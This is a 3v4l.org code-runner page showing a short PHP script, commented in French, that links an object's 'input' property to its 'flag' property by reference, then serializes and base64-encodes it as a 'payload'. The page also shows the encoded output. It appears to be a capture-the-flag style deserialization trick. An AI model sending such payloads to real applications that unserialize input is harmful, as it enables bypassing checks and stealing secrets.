3v4l.org

run code in 500+ PHP versions simultaneously
<?php class Ref { public $input; public $flag; } $obj = new Ref(); // On lie input et flag par référence $obj->input = &$obj->flag; // Sérialisation et encodage $payload = base64_encode(serialize($obj)); echo $payload; ?>
Output for 8.2.31, 8.3.0 - 8.3.31, 8.4.1 - 8.4.21, 8.5.0 - 8.5.6
TzozOiJSZWYiOjI6e3M6NToiaW5wdXQiO047czo0OiJmbGFnIjtSOjI7fQ==

preferences:
40.78 ms | 735 KiB | 4 Q